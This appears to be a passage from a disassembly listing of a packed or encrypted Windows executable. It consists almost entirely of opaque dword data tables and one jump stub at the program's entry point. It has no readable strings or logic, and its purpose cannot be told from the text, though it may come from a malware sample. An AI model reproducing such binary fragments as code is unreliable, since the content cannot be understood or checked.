		dd 0D7AA5E37h, 0F9FEAC83h, 0C0DFE233h, 6BAD0C5Ah, 0B899549Ah
		dd 0B9070480h, 56CCC6h,	88383589h, 0E3DF63C5h, 0CDABC40h
		dd 0B67D0A1h, 0E4E668D1h, 2BB09100h, 0CEA93F4Ch, 878F0479h
		dd 81B72E22h, 11CF60C8h, 40F253CAh, 1276FFF0h, 0C0C6802Dh
		dd 0FEA76F6Ch, 2CF2861Bh
		dd 0DB5C00F9h, 0CD5B71BBh, 950757FFh, 0A4110746h, 81B0A6h
		dd 0A881B690h, 327464B9h, 1634AD00h, 8517B266h,	1F3103AFh
		dd 0D1E6C580h, 7FF85901h, 388347FCh, 9CBB8740h,	0EF910B10h
		dd 58185857h, 8A09893Eh, 0B3DAAC4h, 38D0309Ch, 0C40748FFh
		dd 0E1B65180h, 5F5080A1h, 2A03F4D3h, 68AA9688h,	95A900AFh
		dd 0F61B0BB5h, 14722699h, 0AA0038ECh, 0FA91B47Fh, 30281184h
		dd 6F310568h, 4B0052EBh, 3614B14Dh, 0B198FB57h,	0FC900004h
		dd 106FF018h, 71DABF09h, 19030096h, 3C0B0DF3h, 0E829416h
		dd 0A3E1AF75h, 532244A0h, 8D003658h, 41BDE59Bh,	0B9E83Eh
		dd 30D977FCh, 8FE1813Bh, 1F046F76h, 90A54F9Ch, 2E1BBCC0h
		dd 49E7635Dh, 0E9EB939Eh, 4D221FE0h, 9492DD02h,	0C0F3C866h
		dd 2814770h, 9FE84F37h,	8C64BD2h, 7A407900h, 5AF1587Bh
		dd 0DFEB0A50h, 0C7B01ECAh, 0D23322D9h, 3925D2C3h, 0BF68A0E6h
		dd 15351E0h, 0A5A9E4DCh, 30562F80h, 0E92E98E4h,	0E881547Ch
		dd 0FF4F33ECh, 847DC0D3h, 53D21159h, 508000A1h,	5D9608BEh
		dd 0F871024Ch, 0E7704DADh, 26003C64h, 8987CE20h, 10193Fh
		dd 0A3AF62CAh, 0C78E2553h, 0CCEF5B00h, 7628D9ECh, 93C10B50h
		dd 20040E3Bh, 0E6AB40C6h, 1800D87h, 748B78D1h, 0F8B653B1h
		dd 3700C269h, 0A74FE346h, 4A65EA2h, 3108F19Eh, 0AFCC927Ch
		dd 0E6004CE4h, 8E185158h, 0E2EED66h, 6F1D54E9h,	0D33B3100h
		dd 1E3C89A9h, 342C876Eh, 0D4FACA42h, 36708049h,	91E08DEBh
		dd 0A7C58FDCh, 827CA4A0h, 0D0A2193h, 8CAAFCCEh,	51E5F900h
		dd 0A4689078h, 0B8BE0198h, 0B6E1B216h, 1808203Dh, 8429C41Fh
		dd 6CE7047Dh, 10B54DD5h, 0C0215160h, 1A4B4228h,	2700827Dh
		dd 0F88A1261h, 19A952Eh, 55B9609Bh, 0F163A406h,	0E06F200Eh
		dd 921DCE7Ch, 37896E8Ch, 0EB7848F2h, 0EAE20744h, 1079B5CEh
		dd 62AD2093h, 2E5A63Ah,	0CA447C7Bh, 9874E41Ch, 0D2D603F4h
		dd 0B9A15799h, 43E945AFh, 0E385CAA8h, 8028295Ch, 228A2698h
		dd 48BB7403h, 0D209AD50h, 3021DFA1h, 0E516A0B2h, 85842C39h
		dd 0DC8C9003h, 37CF002Bh, 0A94CBB95h, 0AA724AECh, 913DE338h
		dd 6707B90Bh, 0E2BFC03Bh, 0F464E54Dh, 5D85ED00h, 16DC7EFh
		dd 1345E811h, 307B561Dh, 2425A7D0h, 7F5CB500h, 0A535F027h
		dd 29D405FFh, 1AF3F06h,	7E9D2614h, 0BF5FDC4Fh, 2B1DFE1Eh
		dd 50C8C153h, 0EEEB1CAFh, 0F08740D9h, 517FB8DCh, 0D8ACA100h
		dd 8675B615h, 8014B241h, 6F605Ch, 0F96AC397h, 0BFB31989h
		dd 8C300C2Ch, 301B3A09h, 2C4E6EB0h, 3EF8C2A4h, 0B4148214h
		dd 899630C3h, 0D0548FC9h, 132E5146h, 0F385F46Dh, 0ACCC8535h
		dd 5BC901CDh, 65139225h, 42E5CCF7h, 170E5300h, 0F36A77D2h
		dd 0AF84167Fh, 0C48027ADh, 0F1748847h, 2AB0D454h, 5BCAA501h
		dd 1268E192h, 7F852180h, 0C11C3C7Ah, 0C49AAC0Bh, 0EC8490C6h
		dd 0EC98E059h, 83EC5Dh,	47EAD681h, 0FEF53562h, 276B4D3Bh
		dd 2A18200Bh, 0F9C7BF0h, 40124337h, 1EFF8EE1h, 6E0DFC06h
		dd 6FDFCF02h, 681957D5h, 0E75088h, 0D0EDEC90h, 53CBF4ACh
		dd 7060C307h, 0C0F05CDEh, 58E1696Ch, 0D322F009h, 3F5AC0Fh
		dd 7142C07Ch, 0FCE7Dh, 392EA85Ch, 11EE0D8Ah, 12A66499h
		dd 15D56400h, 0EEADD104h, 0F8AFAF2h, 0E04F95ABh, 40483A4Ah
		dd 0BE8B3D58h, 40E0784Ch, 0CA3F40EDh, 0D251E284h, 18188D46h
		dd 0DC0827D2h, 0BE0054A1h, 0E9DB2BFCh, 1D74721h, 64F77F59h
		dd 38D240BAh, 0E0311180h, 3BCAC804h, 8B21Dh, 0FE7A0139h
		dd 0B01B2C23h, 0D8104C28h, 54436504h, 2040C38Dh, 0C011A01Dh
		dd 357EEF05h, 336A20C0h, 49CC60AFh, 0AD0F34CDh,	7500A1B8h
		dd 898DF4BDh, 4746928h,	61B722D5h, 5CA27Bh, 7311863Dh
		dd 2BCAC33h, 2A83144Fh,	6E41B012h, 8BF0C3CAh, 0BF518480h
		dd 17042384h, 6400EFDAh, 0DEBD644Eh, 4C664B08h,	7BA08778h
		dd 7F0E091Fh, 821A0F00h, 2392050h, 860AD1F9h, 4C41020Ch
		dd 38801008h, 4DC3038Eh, 0D5D0EC1Fh, 0E6F07298h, 9AB82A54h
		dd 77460500h, 0E3A54A9Dh, 0FC2F5A60h, 8AD840DCh, 39117342h
		dd 0B367111Dh, 78132F00h, 2905A8F1h, 0C648EA03h, 0B8EEA769h
		dd 1FAA11Eh, 549D965Eh,	73CE38D5h, 571502E0h, 0C3187966h
		dd 0FAB80898h, 10800771h, 4640497Fh, 0A1150101h, 0D10D4E73h
		dd 0E0F9D15Bh, 0A9124A0Bh, 0CC201FCBh, 122D2133h, 61E0893Bh
		dd 73253028h, 0A4BE0088h, 0C692CD79h, 16E274h, 1EB84220h
		dd 5C0A0724h, 253BD514h, 82274h, 1F025255h, 10F69D78h
		dd 0A0726B09h, 404C8EBBh, 223DAB71h, 303B25E7h,	5F53FC90h
		dd 174D84Ch, 0CC15EDF5h, 0DA41BC69h, 0A1802EF2h, 6BB06AA2h
		dd 5A008A8Bh, 6FE5157Eh, 182E485h, 3FDB82Dh, 290B19B3h
		dd 0F4E91FB4h, 81B0003Ch, 0FAA01AC5h, 0B956006Dh, 0CEF8D21Fh
		dd 0F1134248h, 0FC1DF037h, 100E824h, 66844713h,	6E1901BDh
		dd 5C810AD5h, 899C70ACh, 38C0D945h, 0F90C6068h,	1423C1B6h
		dd 4D00C0F8h, 624534C3h, 60DC4BA8h, 0E70B5838h,	4A01AF77h
		dd 5936F310h, 0B87268F8h, 0A780DE3Ah, 0B9495DC8h, 5C00F9A0h
		dd 0C4D20C77h, 0EA297AABh, 8B809160h, 0CA55AE6h, 0A8888C6Ah
		dd 0F43D64F2h, 1C4D8F1h, 14119459h, 4C21C116h, 46013479h
		dd 0CA377CDDh, 1E06286h, 6B8D055Dh, 0A872AF45h,	5FAD0F7Fh
		dd 2BE081C8h, 70ECD61Bh, 0E7F04212h, 0FE91F090h, 1F320548h
		dd 8057B2C9h, 1CF73ED0h, 0F24CF412h, 9822A020h,	537F0021h
		dd 50A3EFC4h, 401C55BDh, 58405DE4h, 0BA830EAEh,	4F451D6Fh
		dd 0C41F7FEAh, 3ADF6C80h, 41C86607h, 75E1C08Ah,	2A755B84h
		dd 0B70014B8h, 6034E4D8h, 2495F57Eh, 4F904AD2h,	409C3320h
		dd 0F8E9037Fh, 46F20612h, 0FDAFCA00h, 14A432D9h, 262F01E0h
		dd 0E62DCE84h, 0B120802Ch, 8DCF29E8h, 7F41E419h, 0EBE50306h
		dd 977A6669h, 1D96E3B0h, 4451C767h, 0D3CBFCD0h,	0C45F006Ah
		dd 7EB7910Bh, 9D01E432h, 0CD40536Eh, 318FB812h,	805D9615h
		dd 0B3480149h, 0C50F84F6h, 5B0B4273h, 6DFFF080h, 0E67259h
		dd 802423E4h, 0F5BC1326h, 6A416000h, 0E0BE2B52h, 4437183Bh
		dd 0B775B917h, 0E2FB63Ah, 7FB02ABCh, 674151B0h,	2ECF8CFh
		dd 0F12E7119h, 4A43B03Fh, 42EE2101h, 262AA3E1h,	0FE2F7EF0h
		dd 107939A5h, 0AFA73A83h, 1909EB3h, 6002E0Dh, 0B285FC11h
		dd 0D9B1B040h, 0C83938D9h, 0BC07815Ch, 0EAA95F18h, 0DC431197h
		dd 29D612h, 0DD7AB497h,	5924CDBh, 4E00BC90h, 5BFB65BFh
		dd 184AF7C6h, 31C4126Eh, 1E587E36h, 2197075Fh, 0C1B032ADh
		dd 309C5680h, 9381CCDEh, 230577C2h, 0CB2ECA94h,	0A6640C00h
		dd 387AA81h, 47CE6331h,	0D000994Eh, 0EC5379DFh,	0E3DEE2F4h
		dd 0A84F3180h, 0A6F6212Fh, 0D5DBF00h, 883D175Bh, 0C06601E2h
		dd 0CEFBC628h, 9AC8C3B5h, 931855D1h, 26413DDEh,	779901D6h
		dd 38D359A7h, 28C4045h,	22013695h, 0E3C2433Ah, 319637DEh
		dd 0FE0000F8h, 9EDCA76Eh, 1A02D11Eh, 341D2F40h,	18E037CDh
		dd 31DADF69h, 0EE00F9F7h, 0BFCE9028h, 2784025h,	524DA162h
		dd 1B00B98Ah, 1844ACCDh, 3934DE0Ch, 4E00773Ch, 89189955h
		dd 4FBA0Ah, 9E7DAC45h, 914C797Eh, 4ACCD600h, 22C71CA7h
		dd 7417B8Eh, 0F06B44DDh, 231B102Ah, 7E0E0E9Ch, 0F2E645ACh
		dd 73D63C43h, 0F8889BBDh, 0A1B882h, 5F373E1Bh, 0F49DFA36h
		dd 3344B49h, 6EB58DF1h
		dd 1A28F818h, 0E8200DAh, 0F932FF79h, 1F15C675h,	5CE601h
		dd 42F73FD8h, 3ED92A50h, 3998B23Dh, 0F45AE4DDh,	0C1E98218h
		dd 1D0B6B89h, 8305FBDCh, 3C7CF0Ah, 287D39F0h, 1E06827Ch
		dd 0C6863753h, 54F41831h, 275B68CBh, 0F3AAF000h, 2638589Eh
		dd 591F00D9h, 90B1A0BFh, 31094D7Ah, 901DF462h, 2D6624h
		dd 0DB01ED6Ah, 2E6BA0B3h, 8F3CC248h, 0CF664F98h, 41A9C58Dh
		dd 0CFDF8046h, 9170021h, 7218BD7Fh, 1300C7F6h, 0EF24F754h
		dd 50165AEAh, 7F8C98h, 0F37559B2h, 0CE86B67Eh, 81B31D30h
		dd 79F8353Dh, 0A0DDFED5h, 27283Ch, 0A7FDC503h, 9605C68Ah
		dd 0DEA0E604h, 0F88897B0h, 0DBB50FB8h, 9020F593h, 2EAD6718h
		dd 3D4F0B02h, 0AA9AB3B0h, 663548Ch, 50C5B83Ch, 6EAA001Dh
		dd 258C220Dh, 0F805D6ADh, 90B395D0h, 42A03007h,	0E26A8E3Eh
		dd 0E03579EFh, 122EB4C3h, 3124F926h, 0D44115DCh, 30E17C8Bh
		dd 9F487784h, 622A0204h, 2133DEAFh, 60CEEE59h, 0D504EA5Fh
		dd 0CFC2CDDBh, 9A148Ch,	0D89187D2h, 75D58506h, 472DC501h
		dd 3F66C762h, 133AE3F8h, 7587415h, 4611CA80h, 4607E9C6h
		dd 0E4BC48B0h, 501EA120h, 0A810B095h, 17A1514h,	68DA1956h
		dd 50BE9D30h, 8ACB2560h, 0C0355000h, 7B59584h, 7C6CE0D4h
		dd 36DE220Ah, 0D75C9A00h, 8B273041h, 0F64E0061h, 44AD8CD0h
		dd 0B109EE55h, 320B4C5h, 0BEE854E0h, 421F0039h,	9AFD898Ah
		dd 6700D126h, 249BFF9Eh, 18146C17h, 0A92DE673h,	2A003B33h
		dd 5C34CC48h, 0CD11AA7h, 7C8ADF7Fh, 0BD006358h,	0EE75F608h
		dd 1648C2Fh, 2DC4F5A5h,	607C10C6h, 0B0111E1Ch, 0DF194590h
		dd 0E8B58931h, 0C83B3024h, 885A0061h, 0CD8D3D4Dh, 6B0F1E31h
		dd 51B30BB1h, 3EBCD683h, 2041413Dh, 131F0ACh, 1E66ED0Eh
		dd 0E090742Ch, 0BE03851Dh, 30F3A413h, 346BC046h, 0F468A08Bh
		dd 0E049C03Fh, 1B5083AEh, 28164A09h, 63708018h,	1986569h
		dd 437DC6FDh, 63C23ECDh, 330500E4h, 0BCC8EE6Bh,	0B98F04EDh
		dd 0C0A13719h, 6D820383h, 0B0123818h, 7C8E06A1h, 7CB33E2Dh
		dd 2BF28B80h, 3B1DF0EFh, 2C84573Eh, 7F60A891h, 2E38BCFEh
		dd 0CE6BE11h, 9B49B21Dh, 973CAE00h, 0AB19FD6Ah,	3B5D0731h
		dd 0B5928144h, 16140012h, 232F4BE0h, 1DF7F101h,	6DD1F4Ch
		dd 0C03CF4D0h, 4B599269h, 8A3FC0B0h, 798A5CD4h,	0E7F38100h
		dd 87B2567Ch, 7664190Eh, 207808FEh, 8F882808h, 9935009Ah
		dd 17F4368Ah, 56003A37h, 64B80359h, 54DEDA4Dh, 38F0DBh
		dd 2696725Ch, 0B6765D0Ah, 3E45A907h, 1CA0A031h,	70EF8E7h
		dd 0BC561FBDh, 0B40BD006h, 0D441255h, 96CD00B9h, 0F24B7E15h
		dd 6D007A53h, 4D5BDB99h, 4BCCFC3h, 0E924AB8Ah, 4C74015h
		dd 4862FD2Bh, 6C1D5014h, 11300CCEh, 0D77C6121h,	7610F6Fh
		dd 1370F92Eh, 359F2C5Ah, 80192FE9h, 0C4D5AB5Bh,	0A23CA90Fh
		dd 70007E96h, 0C132B784h, 1266786Dh, 20DD8A7Eh,	0CD9FDC68h
		dd 1D2DE400h, 37FDB55Ah, 1D62E79h, 4E40092Ch, 1E2EB490h
		dd 16B23Fh, 0C312C7C4h,	0FF8448h, 674C5A0Eh, 0F6A611F3h
		dd 4093ED07h, 0C24EF97Fh, 4192EF32h, 604044E8h,	0A4B669Ch
		dd 1DD9B7E8h, 0E63E409Ch, 0F09DF438h, 0B51A1657h, 884314A5h
		dd 0B403AE00h, 57F7FEDDh, 28008C98h, 0AFC8E667h, 500766B0h
		dd 0B05988AAh, 22C4426Ch, 6F7D9Ah, 1544857Fh, 0DA941637h
		dd 174DDF01h, 9A6A6C1Dh, 16B06DD4h, 7E3E67h, 99A67834h
		dd 0B1444840h, 127905F6h, 80B05E5Bh, 0F1EFFC1Ch, 0EC36AF07h
		dd 0ABB226ADh, 308C4443h, 1339BD4Ch, 0B744E6Ah,	90DDBC00h
		dd 39C5EC51h, 588A5819h, 56E22EC0h, 6402679Dh, 0CB5AF93h
		dd 0EF2C0A1h, 0E8A8A184h, 0F03816F3h, 62D8200Bh, 6F000443h
		dd 17455CDBh, 4D99A7h, 4E8F0923h, 0F39FBBCh, 95D26E00h
		dd 16177B0Eh, 980B3011h, 0B36F5A41h, 801CDE0h, 22D21B0Fh
		dd 5C320B0Eh, 2DF96103h, 36D07F1Ah, 0F0B9DD91h,	77C36000h
		dd 4A6D8E7h, 0B3F3D217h, 0CC98C8BCh, 30C8448h, 0BBF65F6h
		dd 5E190042h, 147F2610h, 8F7F4AB2h, 915FDE09h, 93E800BCh
		dd 913337DBh, 309E1614h, 5CE0F97Ch, 0E8CD1200h,	517AFC47h
		dd 2767002Dh, 4A077EB0h, 407791EEh, 4BCBA52h, 0ED8908BCh
		dd 0AC029485h, 40AAF47Ch, 0F950118h, 0AC943D47h, 87C6C580h
		dd 0DF4CF08Ah, 75EA8004h, 0E41E3BD4h, 0CDE50748h, 8F0E2ED5h
		dd 456F188Fh, 26BC43FCh, 0B10029E9h, 7B6EC5E4h,	96B42DAh
		dd 0AC20823Eh, 62E39C00h, 80B9F456h, 0B3B53400h, 0F2235Eh
		dd 0B2E0719Dh, 8F467F70h, 0AAB04260h, 0B8F6E3h,	0AF9CEEB3h
		dd 658DE560h, 0E10B1230h, 0FE921595h, 48FF016Dh, 9A711466h
		dd 0BCE430EFh, 14980EE0h, 256460E7h, 0F808DE89h, 8F656800h
		dd 37F04E22h, 88A039Ah,	2BE9FB41h, 0FEAD100h, 0D08D399Fh
		dd 8A622496h, 94F8004Ch, 528370Ah, 7C3CC700h, 1338EBB3h
		dd 97881464h, 0D80020A4h, 722AE140h, 0D958156Fh, 0E4022EACh
		dd 22C4EC00h, 0C032BE2Eh, 544AA91h, 9CFCB069h, 41C6574h
		dd 6F45F5BCh, 0ACC72B36h, 9524924h, 50820E64h, 1829B0BDh
		dd 2ECDB5A8h, 310EE6BFh, 30D104A8h, 7988100Ch, 0EE3604C2h
		dd 88494092h, 0DE0B3F18h, 85547853h, 8430388Ch,	16090D8h
		dd 0A80B0781h, 20803B99h, 0CD0184D0h, 0B7930A11h, 789E5306h
		dd 26D868AAh, 174F7B3h,	0C1ACC264h, 9C0208Ah, 44E6D228h
		dd 3FBE1302h, 5ADF2EECh, 6F600BCh, 7C24530Ch, 693C604Bh
		dd 0A4FF00F7h, 52DC84FEh, 620E2E73h, 67040398h,	0C10E8F13h
		dd 0A0EA6A9Ch, 9DACE518h, 0D8B95008h, 0DE8901FCh, 2E5A1184h
		dd 0D2D44039h, 2F44E6D1h, 0B358267Eh, 26230E25h, 0A87D38E3h
		dd 30182E18h, 9C323799h, 0ABED41B0h, 542CE0h, 63AF8DE9h
		dd 2965D59Bh, 5C43834h,	2435C62Eh, 50A2F0h, 0EBDE72B8h
		dd 5C8451h, 8124FB0Ch, 0AD671C6Ch, 0D42CC71Ah, 0B3F004B0h
		dd 92FE898h, 395A12E8h,	3B070064h, 7F9EB893h, 8037E8AFh
		dd 0A9CD5640h, 690025A5h, 8422E53Fh, 4C85C1C0h,	0A030A882h
		dd 0CBA605C0h, 0A6484127h, 7418114Ch, 66B20A7Dh, 49944434h
		dd 9F56880h, 64036EACh,	0CB40D683h, 38300E0Eh, 94349FE6h
		dd 0B37B2222h, 20800803h, 0B03139BCh, 0C1BE1DA8h, 9F4CC269h
		dd 106AE4F3h, 0A6D5F000h, 0A27288ACh, 356706Bh,	388053BCh
		dd 34E8B87Ch, 0AF03A142h, 4B411E44h, 0EB495809h, 4A8DFE00h
		dd 0B3855F2Fh, 0F08EAB26h, 3812D98Ah, 99EE8100h, 0BF8CBBh
		dd 7CF4A80h, 0A8377F39h, 0DE407B00h, 0E626CE9Dh, 0D4C1C0DAh
		dd 92969E19h, 0F1837D01h, 44334160h, 0B14A42ECh, 2EE60CDCh
		dd 2F005B31h, 0D5C70118h, 136F67Fh, 2003DC9Bh, 0F3E6D4B8h
		dd 6064293Ch, 0D76CF04Ch, 4EDA0087h, 7D7A71E2h,	9A25A34Ah
		dd 0A8886062h, 0B4F9489Bh, 0D2FEB507h, 615A1016h, 3CA8AA29h
		dd 8901B4D6h, 3BA07211h, 5F85E4Ch, 24357184h, 96581EFh
		dd 88801183h, 0D11C311Ah, 0E739AC0Bh, 511CA7D9h, 90624480h
		dd 60354834h, 1FE5BC80h, 0B20B56ADh, 0E213BACh,	0F4873050h
		dd 7300483Dh, 0F1AD5C07h, 0FFDB0105h, 752E1716h, 2022C9B7h
		dd 0E3A3A10h, 0AA1C1F66h, 0FC24BD56h, 0ADA210C7h, 0D851C9h
		dd 0F98B0A6Fh, 0FAC0BF4Ah, 8AB3547Dh, 613B0962h, 0EC007748h
		dd 0AD6BA8A7h, 0C4723426h, 0B4307E16h, 1FCB4AABh, 801E48E4h
		dd 718403F6h, 803B942Ch
		dd 0AB650357h, 0A816BCF9h, 4B69438Ah, 51A020AAh, 3EED589h
		dd 869A3B03h, 81920B82h, 0C4340AE4h, 50608A44h,	4F6072DFh
		dd 5A45F4C8h, 22B4A0A5h, 5FAD16B0h, 263C70CBh, 11E89862h
		dd 59028D7Eh, 0ABC348DDh, 4FC487BBh, 6844B9h, 9C88A1D3h
		dd 59E9FFBh, 7F345B02h,	5A075A9Bh, 9818987Ch, 601A542Ch
		dd 1FA71E5h, 414F445Dh,	0EC892762h, 5B0C4A5Ah, 29D2E99Ah
		dd 0CDFA001Fh, 0DCF549FFh, 573DA98Ch, 5D180EB2h, 0BB76E00Fh
		dd 1675568Bh, 115B40EEh, 4B9FDC58h, 44DB8Fh, 4BED4300h
		dd 8CEF2F66h, 38D800D7h, 8939C07Eh, 930E7AABh, 80F96740h
		dd 21254EEEh, 20AA4C8Fh, 2639F31Eh, 22EB8248h, 79101366h
		dd 0D671D1h, 7B3CE7EDh,	48409EE5h, 7E21B762h, 2C546099h
		dd 48408B10h, 0EF0F28C0h, 0E73CDFF1h, 10AA0F37h, 0A4C0BC16h
		dd 0B4015A58h, 94BE4300h, 0FCA836D0h, 952F1700h, 0C30DB61Ch
		dd 99E6480Fh, 7EB38302h, 34619C4Dh, 0E4DF1255h,	0F53600D4h
		dd 85FD07B6h, 26053560h, 0CCCE976Bh, 0FFFF012Fh, 0B6h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_57C2CA:				; CODE XREF: start:loc_513265j
					; DATA XREF: start:loc_513086o
		jmp	loc_57F81B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 28000000h, 0B08Bh, 2	dup(0)
		dd 0E0000000h, 480129AAh, 0FFB518h, 0Dh	dup(0)
		dd 743FF800h, 6	dup(0)
		dd 86000000h, 0A30E1DE5h, 1980h, 7 dup(0)
		dd 38000000h, 0EBh, 6 dup(0)
		dd 0E0000000h, 129AAh, 94000000h, 7C90EBh, 6 dup(0)
		dd 80000000h, 12FEh, 5B000000h,	76F36Ch, 0Fh dup(0)
		dd 0E4000000h, 4700B08Eh, 7D4830h, 0
		dd 1E000000h, 0DAh, 2 dup(0)
		dd 0FC000000h, 0A8F9h, 82000000h, 86B870h, 0D80004D0h
		dd 0B036h, 3 dup(0)
		dd 28004882h, 1D330h, 0Bh dup(0)
		dd 0B0000000h, 1D1FFh, 5 dup(0)
		dd 34000000h, 0CC005E90h, 176CB22h, 200h, 2 dup(0)
		dd 1000000h, 4 dup(0)
		dd 0F3000000h, 0FFh, 0B2h dup(0)
		dd 208002h, 0DA000000h,	17C8111h, 90000000h, 76F217h, 7E000000h
		dd 7EDBBFh, 5 dup(0)
		dd 0A0000000h, 5AC5h, 0
		dd 27000000h, 2	dup(0)
		dd 38000000h, 0E80235h,	4 dup(0)
		dd 80000000h, 2, 4 dup(0)
		dd 24000000h, 0FFA50Ch,	2 dup(0)
		dd 0F000000h, 0B018h, 3	dup(0)
		dd 0A400C000h, 3F03EAh,	2 dup(0)
		dd 0E8000000h, 0FFFF9Ah, 0
		dd 81000000h, 0E1CB36A2h, 0FFA4FDh, 2 dup(0)
		dd 89000000h, 7A75F41Ch, 9, 4 dup(0)
		dd 0F7000000h, 0B31Ch, 24000000h, 46DB56h, 0ED000000h
		dd 83CA80h, 4 dup(0)
		dd 58000000h, 7C863Fh, 7 dup(0)
		dd 0D3000000h, 7485EDh,	0A14F8882h, 5B80h, 1000000h, 3 dup(0)
		dd 68000000h, 1FD8F7h, 5 dup(0)
		dd 83000000h, 0F76EF0A4h, 7E0D5Dh, 2000000h, 4 dup(0)
		dd 0C0000000h, 1C000000h, 0FFFF9Fh, 19h	dup(0)
		dd 65000000h, 0FAA4D4h,	11000000h, 111111h, 0
		dd 44000000h, 8A4D3Dh, 2 dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 54000000h, 12FFh, 0A0000000h, 0
		dd 40000000h, 7C8026h, 3D000000h, 5802h, 1Ch dup(0)
		dd 65000000h, 73FAA4D4h, 57E1h,	0Ch dup(0)
		dd 0DF000000h, 0A9C530h, 5077DD00h, 0FDDE00h, 7	dup(0)
		dd 43000000h, 0E90057CFh, 0D6h,	29h dup(0)
		dd 33000000h, 6017h, 0E0000000h, 5C65h,	2 dup(0)
		dd 0C4000000h, 0C20012FFh, 0FFA478h, 2B000000h,	5ED8h
		dd 91000000h, 6D4AD1h, 12h dup(0)
		dd 0A000000h, 5C005E8Fh, 0B53Fh, 94000000h, 0E97C90EBh
		dd 0D6h, 3 dup(0)
		dd 2A0h, 0
		dd 3E000000h, 5B87h, 18000000h,	0B029h,	48000000h, 0FAD284h
		dd 2 dup(0)
		dd 32000000h, 0B38Bh, 11h dup(0)
		dd 0FC000000h, 4493h, 4	dup(0)
		dd 0DF000000h, 5AFE06h,	2 dup(0)
		dd 0E2000000h, 4D971F8h, 0FF000000h, 0FFFFFFh, 8 dup(0)
		dd 2B000000h, 5ED8h, 6 dup(0)
		dd 0ED000000h, 1005FE0h, 2 dup(0)
		dd 0F9000000h, 3C7C90DDh, 0FFFF8Bh, 2 dup(0)
		dd 1000000h, 0Dh dup(0)
		dd 94000000h, 5F00h, 2 dup(0)
		dd 0C0000000h, 838213h,	2 dup(0)
		dd 94000000h, 7C90EBh, 5 dup(0)
		dd 9D000000h, 0FFA2B7h,	7 dup(0)
		dd 0AA000000h, 0DD99CDh, 5A000000h, 5F4Dh, 0
		dd 0DA000000h, 90000024h, 7 dup(0)
		dd 0D1000000h, 7, 0FC000000h, 0A62938E7h, 0D8005C32h, 5FE1h
		dd 7 dup(0)
		dd 0FF000000h, 5B98h, 0
		dd 4010h, 4000000h, 0
		dd 0BB000000h, 5F23h, 3	dup(0)
		dd 0D0000000h, 0E100B09Fh, 49005E3Fh, 8CC9EBh, 2 dup(0)
		dd 0F5000000h, 6Dh, 3 dup(0)
		dd 94000000h, 8900003Dh, 4005D4Bh, 5BD5h, 4000h, 8 dup(0)
		dd 70000000h, 0B5B2B5h,	0
		dd 34000000h, 5B66h, 80000000h,	0ADFFE9h, 6 dup(0)
		dd 26D00h, 0B8000000h, 0B7D9D5h, 0
		dd 3000000h, 0B0FAh, 0
		dd 0DF000000h, 30h, 5 dup(0)
		dd 0DB000000h, 25005FFEh, 0B00Ah, 8 dup(0)
		dd 0B8000000h, 0
		dd 374C00Bh, 8B0018C2h,	530C2444h, 0E8h, 0C3815B00h, 17h
		dd 10245C89h, 14244489h, 0FA37B85Bh, 0E0FF00B0h, 424448Bh
		dd 0E0FFh, 13h dup(0)
		dd 8B000000h, 0FF0908h,	28000000h, 41005C54h, 5AF9h, 4 dup(0)
		dd 43000000h, 5C03h, 0
		dd 50026E00h, 5F20h, 9E000000h,	0FFA493h, 6 dup(0)
		dd 74000000h, 0E800016Bh, 0D100000Fh, 0D5BB9Eh,	8 dup(0)
		dd 93000000h, 5CC5h, 4 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 42000000h, 1600B018h, 5B52h,	4 dup(0)
		dd 90000000h, 5B5Ch, 0Ch dup(0)
		dd 73000000h, 57E1h, 0E0000000h, 129AAh, 3 dup(0)
		dd 0A4000000h, 12FFh, 4	dup(0)
		dd 3000000h, 47013750h,	5C95h, 3 dup(0)
		dd 0B000h, 5 dup(0)
		dd 0E000000h, 0A17C8018h, 5B80h, 0FE000000h, 0DB005D9Eh
		dd 37439F3h, 5BE9h, 0
		dd 0A4000000h, 0AC0012FFh, 6021h, 7 dup(0)
		dd 29000000h, 0F571D3Dh, 0B018h, 0B0000000h, 121FFh, 26C00h
		dd 0
		dd 73000000h, 0FFA1F9h,	2 dup(0)
		dd 8C000000h, 3	dup(0)
		dd 0EA000000h, 69005AFBh, 7457E9h, 4 dup(0)
		dd 99000000h, 0EA9EEDh,	9000000h, 0FFA0C2h, 3 dup(0)
		dd 1000000h, 0DF000000h, 0A9C530h, 0
		dd 89000000h, 5EDDh, 8 dup(0)
		dd 0FC000000h, 3C0057EFh, 245Fh, 5 dup(0)
		dd 5F000000h, 0D3h, 5 dup(0)
		dd 0A3000000h, 0CDA680h, 0Ch dup(0)
		dd 98000000h, 0FFFFA3h,	3 dup(0)
		dd 0F6000000h, 5BDDEAh,	3 dup(0)
		dd 1F000000h, 0AE02h, 80000000h, 7C803Bh, 10h dup(0)
		dd 77000000h, 0E97C810Ah, 2C0000EDh, 25200h, 0
		dd 1B000000h, 5B64h, 3 dup(0)
		dd 3C000000h, 0B01Ah, 3F000000h, 5E95h,	8 dup(0)
		dd 0E0000000h, 129AAh, 0
		dd 0DD000000h, 0E77CDBEBh, 2 dup(0)
		dd 1B000000h, 57CCh, 4 dup(0)
		dd 64000000h, 0
		dd 0FE7E4100h, 39EF7Dh,	0Dh dup(0)
		dd 1B000000h, 3DF1F9h, 0
		dd 27000000h, 5AF9h, 3 dup(0)
		dd 4D000000h, 0FFFEA3h,	88000000h, 8C000000h, 0FFFF95h
		dd 3 dup(0)
		dd 64000000h, 4	dup(0)
		dd 0BE000000h, 0FF4FE7h, 0
		dd 7C8000h, 6D000000h, 8700600Ah, 0A6D2h, 0
		dd 0AD000000h, 7E41A8h,	0
		dd 83000000h, 77DD78h, 3 dup(0)
		dd 36000000h, 0FF363636h, 0FFFFFFh, 3 dup(0)
		dd 0CE000000h, 200000E9h, 0B08Dh, 4 dup(0)
		dd 6C000000h, 14h, 2 dup(0)
		dd 0B0000000h, 770121FFh, 7C801Dh, 5 dup(0)
		dd 47000000h, 107C809Bh, 0C1000027h, 7C80ABh, 2	dup(0)
		dd 4000h, 5 dup(0)
		dd 36000000h, 0FF9FDDh,	6 dup(0)
		dd 0D5000000h, 8048B125h, 23000000h, 5B00h, 0ED000000h
		dd 7276E0h, 5 dup(0)
		dd 36000000h, 0AD005F02h, 0B2FCh, 0E8000000h, 0FE8ECCh
		dd 0
